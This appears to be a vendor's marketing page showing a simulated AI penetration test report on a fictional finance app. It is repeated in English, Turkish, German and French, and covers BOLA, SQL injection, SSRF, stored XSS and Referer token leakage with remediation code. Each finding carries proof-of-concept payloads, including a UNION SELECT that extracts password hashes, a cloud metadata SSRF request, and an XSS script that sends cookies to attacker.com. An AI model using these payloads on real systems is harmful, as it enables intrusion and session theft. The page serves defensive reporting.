Interactive Pentest Report
This is a simulated AssurePort AI penetration test report. Experience how our autonomous agent validates findings with reproducible proof-of-concept evidence, maps to compliance standards, and provides actionable remediation code.
Start Free Target Recon →This page uses a synthetic target so the report format can be shown end to end. The real thing is published too: our own platform, assessed by the same Web engine on 10 August 2026 — including the section that lists what the assessment could not cover.
Open our real self-pentest report (PDF) →The assessment of example-finance-app.com identified 5 findings — 1 Critical, 2 High, 2 Medium — with a working proof-of-concept behind every Critical and High. The dominant theme is broken authorization (one tenant can reach another tenant's billing) compounded by injection in a search parameter. None of the findings require insider access; all are reachable by an authenticated low-privilege user. Priority: remediate the Critical BOLA first — it exposes cross-tenant financial data and maps to GDPR Art. 32 and PCI-DSS Req. 7.
Every finding carries a CVSS v3.1 base score. Bands: Critical 9.0–10.0 · High 7.0–8.9 · Medium 4.0–6.9 · Low 0.1–3.9. The score reflects exploitability and impact on the tested system, not your business context — a Medium on an internet-facing billing flow can outrank a High buried behind admin auth.
CRITICAL 9.8
Broken Object Level Authorization (BOLA) on /api/v2/tenants/{tenantId}/billing
/api/v2/tenants/{tenantId}/billing
During the active execution phase, the AssurePort agent identified that the billing API endpoint does not properly validate whether the authenticated user has access to the requested tenant's billing resources. By substituting the tenantId path parameter, any authenticated low-privilege user can read the billing details and invoices of other companies.
The agent executed a controlled HTTP request substituting the victim's tenant ID (999) using a low-privilege authentication token. The application leaked organization records and payment data.
curl -X GET "https://api.example-finance-app.com/api/v2/tenants/999/billing" \ -H "Authorization: Bearer low_priv_user_token"
Implement server-side authorization checks comparing the authenticated user's tenant token with the requested resource tenant ID before database query execution.
const checkTenantAccess = async (req, res, next) => {
const { tenantId } = req.params;
const { user } = req; // Loaded from auth token middleware
if (user.tenantId !== tenantId) {
return res.status(403).json({ error: "Access Denied: Tenant mismatch" });
}
next();
};
HIGH 8.2
SQL Injection in Search API parameter q
q
The application constructs dynamic SQL query strings directly from untrusted input in the search query parameter q. This allows an attacker to manipulate query logic to execute arbitrary SQL commands, resulting in unauthorized data access or database traversal.
The agent successfully executed an out-of-band SQL query logic extraction by appending a UNION SELECT statement to retrieve test database tables.
curl -X GET "https://api.example-finance-app.com/api/v2/search?q=test%27%20UNION%20SELECT%20id,%20email,%20password_hash%20FROM%20users%20--"
Always use parameterized queries (prepared statements) rather than string concatenation to structure queries.
# Prepared query remediation
query = "SELECT id, name, price FROM items WHERE description LIKE %s"
cur.execute(query, (f"%{query_str}%",))
HIGH 8.6
Server-Side Request Forgery (SSRF) on Webhook Integration Endpoint
The application's /api/v2/webhooks endpoint allows users to define custom URLs for receiving event notifications. The server-side request mechanism does not verify whether the target IP address points to an internal network resource. An attacker can target the cloud provider's metadata service or internal network services to exfiltrate sensitive data.
The agent executed a controlled HTTP request targeting the cloud metadata service and retrieved instance information.
curl -X POST "https://api.example-finance-app.com/api/v2/webhooks" \
-H "Authorization: Bearer low_priv_user_token" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/local-ipv4"}'
Resolve the hostname before dispatching the request and verify that the resolved IP address does not fall within private, local, or loopback network ranges.
const dns = require('dns').promises;
const ip = require('ip');
const validateUrl = async (targetUrl) => {
const parsed = new URL(targetUrl);
const addresses = await dns.resolve(parsed.hostname);
for (const addr of addresses) {
if (ip.isPrivate(addr) || ip.isLoopback(addr)) {
throw new Error('Forbidden: Internal target IP');
}
}
};
MEDIUM 7.5
Stored Cross-Site Scripting (XSS) in User Profile Display Name
The display_name parameter on the profile update endpoint /api/v2/user/profile is saved to the database without filtering or HTML encoding. When other team members or administrators view this user's profile, the malicious JavaScript payload executes in their browser session, which can lead to session hijacking.
The agent successfully saved a payload containing session-hijacking JavaScript into the profile data.
curl -X POST "https://api.example-finance-app.com/api/v2/user/profile" \
-H "Authorization: Bearer low_priv_user_token" \
-H "Content-Type: application/json" \
-d '{"display_name": "<script>fetch(\"https://attacker.com/log?c=\" + document.cookie)</script>"}'
Always sanitize data or use HTML escaping when rendering user-supplied fields on the client.
import DOMPurify from 'dompurify';
const UserProfile = ({ profile }) => {
const cleanName = DOMPurify.sanitize(profile.displayName);
return <div dangerouslySetInnerHTML={{ __html: cleanName }} />;
};
MEDIUM 5.3
Session Token Exposure via Referer Header
The application appends OAuth session tokens or API keys as query parameters in page navigation URLs. When a user clicks a link pointing to an external domain, the browser transmits the complete URL containing the token in the HTTP Referer header to the third-party server.
The agent observed an outbound request fired after a user followed a link to a third-party analytics widget embedded on the page. The full page URL — including the session token that had been placed in the query string — was forwarded verbatim in the Referer header, meaning it lands in that third party's own access logs.
GET /partner-dashboard HTTP/1.1 Host: analytics.thirdparty.example Referer: https://example-finance-app.com/account?session_token=eyJhbGciOi...REDACTED
1. Store session identifiers in Secure, HttpOnly, SameSite=Strict cookies instead of passing them in the URL query string.
2. Configure a strict Referrer Policy header on the web application server response:
Referrer-Policy: strict-origin-when-cross-origin
- Authenticated flows behind admin-level access or MFA were not exercised without credentials provided in scope.
- Business-logic flaws that require domain-specific knowledge of the target's workflows were out of scope for this automated pass.
- Destructive or denial-of-service testing was deliberately excluded — AssurePort follows a read-only, non-destructive testing doctrine.
- Third-party hosts and integrations outside the agreed scope were not probed.
- Social engineering and physical security testing are out of scope for this engine.
İnteraktif Örnek Pentest Raporu
Bu sayfa, örnek bir AssurePort yapay zeka sızma testi raporudur. Otonom ajanımızın bulguları nasıl kanıtlarla (Proof-of-Concept) doğruladığını, yasal uyumluluk standartlarına nasıl eşlediğini ve yazılımcılarınız için hazır düzeltme kodlarını nasıl sunduğunu inceleyin.
Ücretsiz Hedef Keşfini Başlat →Bu sayfa, rapor biçimini uçtan uca gösterebilmek için kurgusal bir hedef kullanır. Gerçeği de yayımda: kendi platformumuz, aynı Web motoruyla 10 Ağustos 2026’da değerlendirildi — değerlendirmenin neyi kapsayamadığını yazan bölüm dahil.
Gerçek kendi-pentest raporumuzu açın (PDF) →example-finance-app.com değerlendirmesinde 5 bulgu tespit edildi — 1 Kritik, 2 Yüksek, 2 Orta — ve her Kritik ile Yüksek bulgunun arkasında çalışan bir sömürü kanıtı (PoC) var. Baskın tema kırık yetkilendirme (bir müşteri diğerinin faturalandırmasına erişebiliyor) ve bunu bir arama parametresindeki enjeksiyon zafiyeti tamamlıyor. Bulguların hiçbiri içeriden erişim gerektirmiyor; tümü kimlik doğrulamalı düşük yetkili bir kullanıcı tarafından erişilebilir. Öncelik: önce Kritik BOLA'yı düzeltin — kiracılar-arası finansal veriyi ifşa ediyor ve GDPR Madde 32 ile PCI-DSS Gereksinim 7'ye eşleniyor.
Her bulgu bir CVSS v3.1 temel puanı taşır. Bantlar: Kritik 9.0–10.0 · Yüksek 7.0–8.9 · Orta 4.0–6.9 · Düşük 0.1–3.9. Puan, test edilen sistem üzerindeki sömürülebilirliği ve etkiyi yansıtır, iş bağlamınızı değil — internete açık bir faturalandırma akışındaki bir Orta bulgu, admin kimlik doğrulaması arkasına gömülü bir Yüksek bulgudan daha öncelikli olabilir.
KRİTİK 9.8
Yetkisiz Nesne Seviyesine Erişim (BOLA / IDOR) - /api/v2/tenants/{tenantId}/billing
/api/v2/tenants/{tenantId}/billing
Aktif test aşamasında AssurePort ajanı, faturalandırma API uç noktasının (endpoint) oturum açmış kullanıcının istenen müşteri kaynağına erişim izni olup olmadığını doğrulamadığını tespit etmiştir. URL yolundaki tenantId parametresini değiştiren herhangi bir yetkili düşük düzeyli kullanıcı, diğer şirketlerin fatura ayrıntılarını ve ödeme bilgilerini okuyabilir.
Ajan, düşük yetkili bir kullanıcı token'ı kullanarak kurbanın müşteri ID'sini (999) içeren kontrollü bir HTTP isteği çalıştırmıştır. Uygulama, kurum bilgilerini ve ödeme verilerini dışarıya sızdırmıştır.
curl -X GET "https://api.example-finance-app.com/api/v2/tenants/999/billing" \ -H "Authorization: Bearer dusuk_yetkili_token"
Veritabanı sorgusu çalıştırılmadan önce oturum açmış kullanıcının müşteri ID'si ile talep edilen kaynak müşteri ID'sini karşılaştıran sunucu taraflı yetkilendirme kontrolü ekleyin.
const checkTenantAccess = async (req, res, next) => {
const { tenantId } = req.params;
const { user } = req; // Auth token middleware tarafından doldurulur
if (user.tenantId !== tenantId) {
return res.status(403).json({ error: "Access Denied: Tenant mismatch" });
}
next();
};
YÜKSEK 8.2
Arama API'si q Parametresinde SQL Enjeksiyonu
q Parametresinde SQL Enjeksiyonu
Uygulama, arama parametresi q içindeki güvensiz girdilerden doğrudan dinamik SQL sorgu dizileri oluşturmaktadır. Bu, bir saldırganın sorgu mantığını manipüle ederek rastgele SQL komutları yürütmesine ve veritabanı şemasını sızdırmasına olanak tanır.
Ajan, test veritabanı tablolarını çekmek için arama sorgusunun sonuna bir UNION SELECT ifadesi ekleyerek sömürü dizisini başarıyla doğrulamıştır.
curl -X GET "https://api.example-finance-app.com/api/v2/search?q=test%27%20UNION%20SELECT%20id,%20email,%20password_hash%20FROM%20users%20--"
Dinamik dizeleri birleştirmek yerine, sorguları yapılandırmak için her zaman parametrik sorgular (prepared statements) kullanın.
# Parametrik sorgu ile düzeltme
query = "SELECT id, name, price FROM items WHERE description LIKE %s"
cur.execute(query, (f"%{query_str}%",))
YÜKSEK 8.6
Webhook entegrasyon uç noktasında Sunucu Taraflı İstek Sahteciliği (SSRF)
Uygulamanın /api/v2/webhooks uç noktası, kullanıcıların olay bildirimlerini (events) almak için özel URL'ler tanımlamasına izin verir. Sunucu tarafındaki istek mekanizması, hedef IP adresinin dahili (internal) bir ağ kaynağı olup olmadığını kontrol etmemektedir. Bir saldırgan, bulut sağlayıcısının metadata servisini veya yerel ağdaki servisleri hedef göstererek hassas verileri sızdırabilir.
Ajan, bulut metadata servisini hedef alan ve makine bilgilerini çeken kontrollü bir HTTP isteği çalıştırmıştır.
curl -X POST "https://api.example-finance-app.com/api/v2/webhooks" \
-H "Authorization: Bearer dusuk_yetkili_token" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/local-ipv4"}'
İstek başlatılmadan önce alan adını çözün (resolve) ve çözülen IP adresinin özel, yerel veya loopback ağlarında bulunmadığını doğrulayın.
const dns = require('dns').promises;
const ip = require('ip');
const validateUrl = async (targetUrl) => {
const parsed = new URL(targetUrl);
const addresses = await dns.resolve(parsed.hostname);
for (const addr of addresses) {
if (ip.isPrivate(addr) || ip.isLoopback(addr)) {
throw new Error('Forbidden: Internal target IP');
}
}
};
ORTA 7.5
Kullanıcı profili görünüm isminde Kalıcı Siteler Arası Betik Çalıştırma (Stored XSS)
/api/v2/user/profile profil güncelleme uç noktasındaki display_name parametresi, filtrelenmeden veya HTML kodlaması yapılmadan veritabanına kaydedilmektedir. Diğer ekip üyeleri veya yöneticiler bu kullanıcı profilini görüntülediğinde, zararlı JavaScript kodları tarayıcılarında çalışarak oturum çalınmasına yol açabilir.
Ajan, profil verisi içerisine JavaScript ile oturum çalma kodları içeren bir payload'u başarıyla kaydetmiştir.
curl -X POST "https://api.example-finance-app.com/api/v2/user/profile" \
-H "Authorization: Bearer dusuk_yetkili_token" \
-H "Content-Type: application/json" \
-d '{"display_name": "<script>fetch(\"https://attacker.com/log?c=\" + document.cookie)</script>"}'
İstemci uygulamasında kullanıcı tarafından girilen alanları render ederken her zaman verileri temizleyin (sanitize) ya da HTML kaçış karakterlerini (escaping) kullanın.
import DOMPurify from 'dompurify';
const UserProfile = ({ profile }) => {
const cleanName = DOMPurify.sanitize(profile.displayName);
return <div dangerouslySetInnerHTML={{ __html: cleanName }} />;
};
ORTA 5.3
Referer Başlığı Aracılığıyla Oturum Token'ı Sızıntısı
Uygulama, OAuth oturum anahtarlarını veya API token'larını URL parametrelerinde taşımaktadır. Kullanıcı harici bir alan adına yönlendiren bir bağlantıya tıkladığında, tarayıcı bu hassas token'ı HTTP Referer başlığı içinde üçüncü taraf sunucuya iletir.
Ajan, sayfaya gömülü üçüncü taraf bir analytics bileşenine giden bağlantı takip edildiğinde tetiklenen giden isteği gözlemlemiştir. Sorgu dizesine yerleştirilmiş oturum token'ı dahil olmak üzere tam sayfa URL'si, Referer başlığında olduğu gibi iletilmiştir; yani bu token üçüncü tarafın kendi erişim loglarına düşmektedir.
GET /partner-dashboard HTTP/1.1 Host: analytics.thirdparty.example Referer: https://example-finance-app.com/account?session_token=eyJhbGciOi...REDACTED
1. Oturum kimliklerini URL'de taşımak yerine Secure, HttpOnly, SameSite=Strict çerezlerde (cookies) saklayın.
2. Web uygulamasının yanıt başlıklarında katı bir Referrer Policy yapılandırın:
Referrer-Policy: strict-origin-when-cross-origin
- Kapsam dahilinde kimlik bilgisi sağlanmadığı için admin seviyesi erişim veya MFA arkasındaki kimlik doğrulamalı akışlar test edilmedi.
- Hedefin iş akışlarına dair alan bilgisi gerektiren iş-mantığı zafiyetleri, bu otomatik taramanın kapsamı dışında kaldı.
- Yıkıcı veya hizmet reddi (DoS) testleri kasıtlı olarak hariç tutuldu — AssurePort salt-okunur, yıkıcı olmayan bir test doktrini izler.
- Kapsam dışı üçüncü taraf sistemler ve entegrasyonlar taranmadı.
- Sosyal mühendislik ve fiziksel güvenlik testleri bu motorun kapsamı dışındadır.
Interaktiver Musterbericht
Dies ist ein simulierter AssurePort KI-Penetrationstestbericht. Erleben Sie, wie unser autonomer Agent Befunde mit reproduzierbaren Proof-of-Concept-Beweisen validiert, Compliance-Standards zuordnet und direkt anwendbaren Code zur Behebung bereitstellt.
Kostenlose Zielaufklärung Starten →Diese Seite verwendet ein fiktives Ziel, um das Berichtsformat vollständig zu zeigen. Der echte Bericht ist ebenfalls veröffentlicht: unsere eigene Plattform, am 10. August 2026 von derselben Web-Engine geprüft — inklusive des Abschnitts, der benennt, was die Prüfung nicht abdecken konnte.
Unseren echten Selbst-Pentest-Bericht öffnen (PDF) →Die Bewertung von example-finance-app.com ergab 5 Befunde — 1 Kritisch, 2 Hoch, 2 Mittel — mit einem funktionierenden Proof-of-Concept hinter jedem Kritisch- und Hoch-Befund. Das dominante Thema ist eine fehlerhafte Autorisierung (ein Mandant kann auf die Abrechnung eines anderen Mandanten zugreifen), verstärkt durch eine Injection-Schwachstelle in einem Suchparameter. Keiner der Befunde erfordert Insider-Zugang; alle sind für einen authentifizierten Benutzer mit geringen Rechten erreichbar. Priorität: Beheben Sie zuerst die kritische BOLA-Schwachstelle — sie legt mandantenübergreifende Finanzdaten offen und ordnet sich DSGVO Art. 32 sowie PCI-DSS Anforderung 7 zu.
Jeder Befund trägt eine CVSS v3.1-Basisbewertung. Bänder: Kritisch 9.0–10.0 · Hoch 7.0–8.9 · Mittel 4.0–6.9 · Niedrig 0.1–3.9. Die Bewertung spiegelt die Ausnutzbarkeit und Auswirkung auf das getestete System wider, nicht Ihren Geschäftskontext — ein Mittel-Befund in einem öffentlich zugänglichen Abrechnungsprozess kann wichtiger sein als ein Hoch-Befund hinter einer Admin-Authentifizierung.
KRITISCH 9.8
Broken Object Level Authorization (BOLA) unter /api/v2/tenants/{tenantId}/billing
/api/v2/tenants/{tenantId}/billing
Während der aktiven Ausführungsphase stellte der AssurePort-Agent fest, dass die Abrechnungs-API nicht prüft, ob der authentifizierte Benutzer berechtigt ist, auf die Abrechnungsdaten des angeforderten Mandanten zuzugreifen. Durch Ersetzen des Pfadparameters tenantId kann jeder authentifizierte Benutzer mit geringen Rechten die Rechnungsdaten und Invoices anderer Unternehmen auslesen.
Der Agent führte eine kontrollierte HTTP-Anfrage unter Ersetzung der Mandanten-ID des Opfers (999) mit einem Token mit geringen Rechten aus. Die Anwendung gab Organisationsdaten und Zahlungsinformationen preis.
curl -X GET "https://api.example-finance-app.com/api/v2/tenants/999/billing" \ -H "Authorization: Bearer low_priv_user_token"
Implementieren Sie serverseitige Autorisierungsprüfungen, die vor dem Datenbankzugriff die Mandanten-ID des angemeldeten Benutzers mit der angeforderten Mandanten-ID abgleichen.
const checkTenantAccess = async (req, res, next) => {
const { tenantId } = req.params;
const { user } = req; // Aus dem Authentifizierungs-Middleware befüllt
if (user.tenantId !== tenantId) {
return res.status(403).json({ error: "Access Denied: Tenant mismatch" });
}
next();
};
HOCH 8.2
SQL-Injection im Suchparameter q
q
Die Anwendung baut SQL-Abfragezeichenfolgen direkt aus unsicheren Benutzereingaben im Suchparameter q zusammen. Dies ermöglicht es einem Angreifer, SQL-Abfragelogik zu manipulieren, um beliebige Befehle auszuführen.
Der Agent bestätigte die Ausnutzung erfolgreich, indem er ein UNION SELECT-Statement an die Suche anhängte, um Tabellendaten auszulesen.
curl -X GET "https://api.example-finance-app.com/api/v2/search?q=test%27%20UNION%20SELECT%20id,%20email,%20password_hash%20FROM%20users%20--"
Verwenden Sie immer parametrisierte Abfragen (Prepared Statements) anstelle von String-Verkettungen.
# Behebung durch parametrisierte Abfrage
query = "SELECT id, name, price FROM items WHERE description LIKE %s"
cur.execute(query, (f"%{query_str}%",))
HOCH 8.6
Server-Side Request Forgery (SSRF) an Webhook-Integrationsendpunkt
Der Endpunkt /api/v2/webhooks ermöglicht es Benutzern, eigene URLs für den Empfang von Event-Benachrichtigungen zu registrieren. Der serverseitige Request-Dispatcher validiert nicht, ob die Ziel-IP-Adresse auf eine interne Ressource verweist. Ein Angreifer kann die Cloud-Metadaten-IP oder interne Server angeben, um sensible Infrastrukturdaten auszulesen.
Der Agent führte eine Anfrage aus, die auf die Cloud-Metadaten-Service-IP zielte, um Instanzdaten abzurufen.
curl -X POST "https://api.example-finance-app.com/api/v2/webhooks" \
-H "Authorization: Bearer low_priv_user_token" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/local-ipv4"}'
Lösen Sie den Hostnamen auf und überprüfen Sie vor dem Senden der Anfrage, ob sich die Ziel-IP-Adresse in privaten, lokalen oder Loopback-Bereichen befindet.
const dns = require('dns').promises;
const ip = require('ip');
const validateUrl = async (targetUrl) => {
const parsed = new URL(targetUrl);
const addresses = await dns.resolve(parsed.hostname);
for (const addr of addresses) {
if (ip.isPrivate(addr) || ip.isLoopback(addr)) {
throw new Error('Forbidden: Internal target IP');
}
}
};
MITTEL 7.5
Stored Cross-Site Scripting (Stored XSS) im Anzeigenamen des Benutzerprofils
Der Parameter display_name in der Profil-Aktualisierungs-API /api/v2/user/profile wird ohne Bereinigung oder HTML-Codierung in der Datenbank gespeichert. Wenn andere Teammitglieder oder Administratoren das Benutzerprofil aufrufen, wird der bösartige JavaScript-Payload in deren Browser-Session ausgeführt.
Der Agent führte eine Anfrage aus, die einen schädlichen Session-Diebstahl-Payload im Profil speicherte.
curl -X POST "https://api.example-finance-app.com/api/v2/user/profile" \
-H "Authorization: Bearer low_priv_user_token" \
-H "Content-Type: application/json" \
-d '{"display_name": "<script>fetch(\"https://attacker.com/log?c=\" + document.cookie)</script>"}'
Bereinigen Sie dynamische Werte immer oder erzwingen Sie eine strikte Maskierung von Ausgaben, wenn Sie benutzergenerierte Textfelder rendern.
import DOMPurify from 'dompurify';
const UserProfile = ({ profile }) => {
const cleanName = DOMPurify.sanitize(profile.displayName);
return <div dangerouslySetInnerHTML={{ __html: cleanName }} />;
};
MITTEL 5.3
Session-Token-Exposition über Referer-Header
Die Anwendung übergibt OAuth-Sitzungs-Token oder API-Schlüssel als URL-Abfrageparameter. Klickt ein Benutzer auf einen Link zu einer externen Domain, überträgt der Browser die vollständige URL inklusive Token im Referer-Header.
Der Agent beobachtete eine ausgehende Anfrage, die ausgelöst wurde, nachdem ein Benutzer einem Link zu einem auf der Seite eingebetteten Drittanbieter-Analytics-Widget gefolgt war. Die vollständige Seiten-URL — einschließlich des in der Query-String platzierten Sitzungs-Tokens — wurde unverändert im Referer-Header weitergegeben und landet damit in den eigenen Zugriffsprotokollen dieses Drittanbieters.
GET /partner-dashboard HTTP/1.1 Host: analytics.thirdparty.example Referer: https://example-finance-app.com/account?session_token=eyJhbGciOi...REDACTED
1. Speichern Sie Sitzungs-IDs in Secure, HttpOnly, SameSite=Strict Cookies, anstatt sie in der URL-Abfragezeichenfolge zu übergeben.
2. Konfigurieren Sie einen strengen Referrer-Policy-Header in den Antworten des Webservers:
Referrer-Policy: strict-origin-when-cross-origin
- Authentifizierte Abläufe hinter Admin-Zugriff oder MFA wurden nicht getestet, da im Scope keine entsprechenden Zugangsdaten bereitgestellt wurden.
- Geschäftslogik-Schwachstellen, die Fachwissen über die Arbeitsabläufe des Ziels erfordern, lagen außerhalb des Umfangs dieses automatisierten Durchlaufs.
- Destruktive Tests oder Denial-of-Service-Tests wurden bewusst ausgeschlossen — AssurePort folgt einer schreibgeschützten, nicht-destruktiven Testdoktrin.
- Drittanbieter-Hosts und Integrationen außerhalb des vereinbarten Umfangs wurden nicht geprüft.
- Social Engineering und physische Sicherheitstests liegen außerhalb des Umfangs dieser Engine.
Rapport d'exemple interactif
Ceci est une simulation de rapport de test d'intrusion IA par AssurePort. Découvrez comment notre agent autonome valide ses conclusions avec des preuves de concept (PoC) reproductibles, fait la correspondance avec les standards de conformité et propose des correctifs prêts à l'emploi.
Lancer la reconnaissance gratuite →Cette page utilise une cible fictive afin de montrer le format du rapport de bout en bout. Le rapport réel est publié également : notre propre plateforme, évaluée par le même moteur Web le 10 août 2026 — y compris la section indiquant ce que l’évaluation n’a pas pu couvrir.
Ouvrir notre vrai rapport de self-pentest (PDF) →L'évaluation de example-finance-app.com a identifié 5 conclusions — 1 Critique, 2 Élevées, 2 Moyennes — chacune des conclusions Critiques et Élevées étant appuyée par une preuve de concept fonctionnelle. Le thème dominant est une autorisation défaillante (un client peut accéder à la facturation d'un autre client), aggravée par une injection dans un paramètre de recherche. Aucune des conclusions ne nécessite un accès interne ; toutes sont accessibles par un utilisateur authentifié à faibles privilèges. Priorité : corrigez d'abord le BOLA Critique — il expose des données financières inter-clients et correspond à l'Art. 32 du RGPD et à l'exigence 7 de la norme PCI-DSS.
Chaque conclusion porte un score de base CVSS v3.1. Bandes : Critique 9.0–10.0 · Élevé 7.0–8.9 · Moyen 4.0–6.9 · Faible 0.1–3.9. Le score reflète l'exploitabilité et l'impact sur le système testé, pas votre contexte métier — une conclusion Moyenne sur un flux de facturation exposé sur Internet peut être plus prioritaire qu'une conclusion Élevée cachée derrière une authentification admin.
CRITIQUE 9.8
Défaut d'autorisation au niveau de l'objet (BOLA) sur /api/v2/tenants/{tenantId}/billing
/api/v2/tenants/{tenantId}/billing
Lors de la phase d'exécution active, l'agent AssurePort a identifié que l'endpoint d'API de facturation ne valide pas correctement si l'utilisateur authentifié a accès aux ressources de facturation du client (tenant) demandé. En modifiant le paramètre de chemin tenantId, tout utilisateur authentifié disposant de faibles privilèges peut lire les détails de facturation et les factures d'autres entreprises.
L'agent a exécuté une requête HTTP contrôlée en remplaçant l'ID du client par celui de la victime (999) à l'aide d'un token d'utilisateur à faibles privilèges. L'application a divulgué les données de paiement et de l'organisation.
curl -X GET "https://api.example-finance-app.com/api/v2/tenants/999/billing" \ -H "Authorization: Bearer low_priv_user_token"
Implémentez des contrôles d'autorisation côté serveur comparant le jeton du client de l'utilisateur authentifié avec l'ID du client de la ressource demandée avant d'exécuter la requête de base de données.
const checkTenantAccess = async (req, res, next) => {
const { tenantId } = req.params;
const { user } = req; // Rempli par le middleware d'authentification
if (user.tenantId !== tenantId) {
return res.status(403).json({ error: "Access Denied: Tenant mismatch" });
}
next();
};
ÉLEVÉ 8.2
Injection SQL dans le paramètre d'API de recherche q
q
L'application construit des chaînes de requêtes SQL dynamiques directement à partir d'entrées non fiables dans le paramètre de recherche q. Cela permet à un attaquant de manipuler la logique des requêtes pour exécuter des commandes SQL arbitraires, entraînant un accès non autorisé aux données.
L'agent a validé avec succès l'exploitation en ajoutant une clause UNION SELECT à la requête de recherche pour extraire les tables de la base de données.
curl -X GET "https://api.example-finance-app.com/api/v2/search?q=test%27%20UNION%20SELECT%20id,%20email,%20password_hash%20FROM%20users%20--"
Utilisez toujours des requêtes paramétrées (prepared statements) plutôt que des concaténations de chaînes pour structurer vos requêtes.
# Correction par requête paramétrée
query = "SELECT id, name, price FROM items WHERE description LIKE %s"
cur.execute(query, (f"%{query_str}%",))
ÉLEVÉ 8.6
Server-Side Request Forgery (SSRF) sur l'endpoint d'intégration de webhook
L'endpoint d'API /api/v2/webhooks permet aux utilisateurs d'enregistrer des URL personnalisées pour recevoir des notifications d'événements. Le service d'envoi de requêtes côté serveur ne valide pas si l'adresse IP de destination pointe vers une ressource réseau interne. Un attaquant peut cibler le service de métadonnées du cloud pour lire des données d'infrastructure sensibles.
L'agent a exécuté une requête HTTP ciblant le service de métadonnées de l'instance cloud pour récupérer des clés de configuration.
curl -X POST "https://api.example-finance-app.com/api/v2/webhooks" \
-H "Authorization: Bearer low_priv_user_token" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/local-ipv4"}'
Résolvez le nom d'hôte et validez que l'adresse IP ne réside pas dans des plages privées, de loopback ou de réseau local avant d'initier la requête.
const dns = require('dns').promises;
const ip = require('ip');
const validateUrl = async (targetUrl) => {
const parsed = new URL(targetUrl);
const addresses = await dns.resolve(parsed.hostname);
for (const addr of addresses) {
if (ip.isPrivate(addr) || ip.isLoopback(addr)) {
throw new Error('Forbidden: Internal target IP');
}
}
};
MOYEN 7.5
Stored Cross-Site Scripting (Stored XSS) dans le nom d'affichage du profil utilisateur
Le paramètre display_name de l'API de mise à jour du profil /api/v2/user/profile est enregistré dans la base de données sans filtrage ni encodage HTML. Lorsque d'autres membres de l'équipe ou des administrateurs consultent le profil de cet utilisateur, le code JavaScript malveillant s'exécute dans leur session de navigateur.
L'agent a exécuté une requête stockant un script de vol de session dans les données du profil utilisateur.
curl -X POST "https://api.example-finance-app.com/api/v2/user/profile" \
-H "Authorization: Bearer low_priv_user_token" \
-H "Content-Type: application/json" \
-d '{"display_name": "<script>fetch(\"https://attacker.com/log?c=\" + document.cookie)</script>"}'
Nettoyez systématiquement les valeurs dynamiques ou appliquez un échappement strict pour restituer les champs de saisie utilisateur.
import DOMPurify from 'dompurify';
const UserProfile = ({ profile }) => {
const cleanName = DOMPurify.sanitize(profile.displayName);
return <div dangerouslySetInnerHTML={{ __html: cleanName }} />;
};
MOYEN 5.3
Exposition du jeton de session via l'en-tête Referer
L'application transmet des jetons de session OAuth ou des clés d'API comme paramètres d'URL de navigation. Lorsqu'un utilisateur clique sur un lien vers un domaine externe, le navigateur transmet l'URL complète contenant le jeton dans l'en-tête HTTP Referer.
L'agent a observé une requête sortante déclenchée après qu'un utilisateur a suivi un lien vers un widget d'analyse tiers intégré à la page. L'URL complète de la page — y compris le jeton de session placé dans la chaîne de requête — a été transmise telle quelle dans l'en-tête Referer, ce qui la fait apparaître dans les journaux d'accès propres à ce tiers.
GET /partner-dashboard HTTP/1.1 Host: analytics.thirdparty.example Referer: https://example-finance-app.com/account?session_token=eyJhbGciOi...REDACTED
1. Stockez les identifiants de session dans des cookies Secure, HttpOnly, SameSite=Strict au lieu de les transmettre dans l'URL.
2. Configurez un en-tête Referrer-Policy strict sur le serveur web :
Referrer-Policy: strict-origin-when-cross-origin
- Les flux authentifiés nécessitant un accès administrateur ou une MFA n'ont pas été testés faute d'identifiants fournis dans le périmètre.
- Les failles de logique métier nécessitant une connaissance spécifique des processus de la cible étaient hors du périmètre de cette passe automatisée.
- Les tests destructifs ou de déni de service ont été délibérément exclus — AssurePort applique une doctrine de test en lecture seule et non destructive.
- Les hôtes et intégrations tiers hors du périmètre convenu n'ont pas été sondés.
- L'ingénierie sociale et les tests de sécurité physique sont hors du périmètre de ce moteur.